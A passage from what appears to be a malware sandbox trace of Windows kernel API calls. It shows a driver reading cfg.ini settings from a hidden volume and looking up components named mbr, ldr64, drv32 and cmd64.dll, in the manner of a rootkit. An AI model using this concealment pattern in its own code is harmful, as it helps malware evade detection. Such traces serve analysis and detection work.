_MaxCount=0x10) returned -108 [0128.790] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.790] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.790] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.790] KeLeaveCriticalRegion () [0128.790] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.790] ReleaseMutex (hMutex=0x100) returned 1 [0128.790] Sleep (dwMilliseconds=0x2bf20) [0128.797] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ff66fd0, dwHighDateTime=0x1d24fa4)) [0128.797] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.797] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.797] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.797] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.797] KeEnterCriticalRegion () [0128.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.797] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.797] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.797] IdePortDispatch () returned 0x103 [0128.797] KeWaitForMutexObject () returned 0x0 [0128.798] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.798] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.798] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.798] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.798] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.798] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00260 [0128.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.798] KeLeaveCriticalRegion () [0128.798] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.798] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.798] KeEnterCriticalRegion () [0128.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.798] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.798] KeLeaveCriticalRegion () [0128.798] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.798] KeEnterCriticalRegion () [0128.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.798] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.798] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.798] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.798] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.798] IdePortDispatch () returned 0x103 [0128.798] KeWaitForMutexObject () returned 0x0 [0128.798] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.798] KeLeaveCriticalRegion () [0128.798] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.799] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.799] KeEnterCriticalRegion () [0128.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.799] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b29000 [0128.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.799] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.799] IdePortDispatch () returned 0x103 [0128.799] KeWaitForMutexObject () returned 0x0 [0128.799] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.799] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.799] IdePortDispatch () returned 0x103 [0128.799] KeWaitForMutexObject () returned 0x0 [0128.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.799] KeLeaveCriticalRegion () [0128.799] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.800] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.800] KeEnterCriticalRegion () [0128.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.800] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.800] KeLeaveCriticalRegion () [0128.800] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.800] KeEnterCriticalRegion () [0128.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.800] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.800] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c014e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.800] KeLeaveCriticalRegion () [0128.800] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.800] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.800] KeEnterCriticalRegion () [0128.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.800] ExFreePoolWithTag (P=0xfffffa8003c00260, Tag=0x0) [0128.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.800] KeLeaveCriticalRegion () [0128.800] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.800] ReleaseMutex (hMutex=0xf0) returned 1 [0128.800] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.800] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.800] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.800] KeEnterCriticalRegion () [0128.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.800] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.800] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.800] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.801] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.801] IdePortDispatch () returned 0x103 [0128.801] KeWaitForMutexObject () returned 0x0 [0128.801] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.801] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.801] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.801] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.801] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.801] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00160 [0128.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.801] KeLeaveCriticalRegion () [0128.801] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.801] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.801] KeEnterCriticalRegion () [0128.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.801] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.801] KeLeaveCriticalRegion () [0128.801] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.801] KeEnterCriticalRegion () [0128.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.801] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.801] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.801] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.801] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.801] IdePortDispatch () returned 0x103 [0128.801] KeWaitForMutexObject () returned 0x0 [0128.802] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.802] KeLeaveCriticalRegion () [0128.802] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.802] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.802] KeEnterCriticalRegion () [0128.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.802] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2a000 [0128.802] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.802] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.802] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.802] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.802] IdePortDispatch () returned 0x103 [0128.802] KeWaitForMutexObject () returned 0x0 [0128.802] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.802] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.802] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.802] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.802] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.802] IdePortDispatch () returned 0x103 [0128.802] KeWaitForMutexObject () returned 0x0 [0128.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.803] KeLeaveCriticalRegion () [0128.803] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.803] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.803] KeEnterCriticalRegion () [0128.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.803] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.803] KeLeaveCriticalRegion () [0128.803] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.803] KeEnterCriticalRegion () [0128.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.803] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.803] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c003c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.803] KeLeaveCriticalRegion () [0128.803] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.803] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.803] KeEnterCriticalRegion () [0128.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.803] ExFreePoolWithTag (P=0xfffffa8003c00160, Tag=0x0) [0128.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.803] KeLeaveCriticalRegion () [0128.803] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.804] ReleaseMutex (hMutex=0xf0) returned 1 [0128.804] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.804] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.804] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.804] KeEnterCriticalRegion () [0128.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.804] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.804] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.804] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.804] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.804] IdePortDispatch () returned 0x103 [0128.804] KeWaitForMutexObject () returned 0x0 [0128.804] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.804] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.804] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.804] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.804] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.804] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01f10 [0128.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.804] KeLeaveCriticalRegion () [0128.804] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.804] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.804] KeEnterCriticalRegion () [0128.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.804] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.804] KeLeaveCriticalRegion () [0128.804] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.804] KeEnterCriticalRegion () [0128.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.804] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.804] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.805] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.805] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.805] IdePortDispatch () returned 0x103 [0128.805] KeWaitForMutexObject () returned 0x0 [0128.805] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.805] KeLeaveCriticalRegion () [0128.805] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.805] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.805] KeEnterCriticalRegion () [0128.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.805] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2b000 [0128.805] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.805] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.805] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.805] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.805] IdePortDispatch () returned 0x103 [0128.805] KeWaitForMutexObject () returned 0x0 [0128.805] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.805] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.805] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.805] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.805] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.805] IdePortDispatch () returned 0x103 [0128.805] KeWaitForMutexObject () returned 0x0 [0128.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.806] KeLeaveCriticalRegion () [0128.806] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.806] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.806] KeEnterCriticalRegion () [0128.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.806] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.806] KeLeaveCriticalRegion () [0128.806] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.806] KeEnterCriticalRegion () [0128.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.806] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.806] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.806] KeLeaveCriticalRegion () [0128.806] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.806] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.807] KeEnterCriticalRegion () [0128.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.807] ExFreePoolWithTag (P=0xfffffa8003c01f10, Tag=0x0) [0128.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.807] KeLeaveCriticalRegion () [0128.807] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.807] ReleaseMutex (hMutex=0xf0) returned 1 [0128.807] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.807] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.807] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.807] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.807] KeEnterCriticalRegion () [0128.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.807] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.807] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.807] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.807] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.807] IdePortDispatch () returned 0x103 [0128.807] KeWaitForMutexObject () returned 0x0 [0128.807] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.807] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.807] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.807] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.807] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.807] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.807] _strnicmp 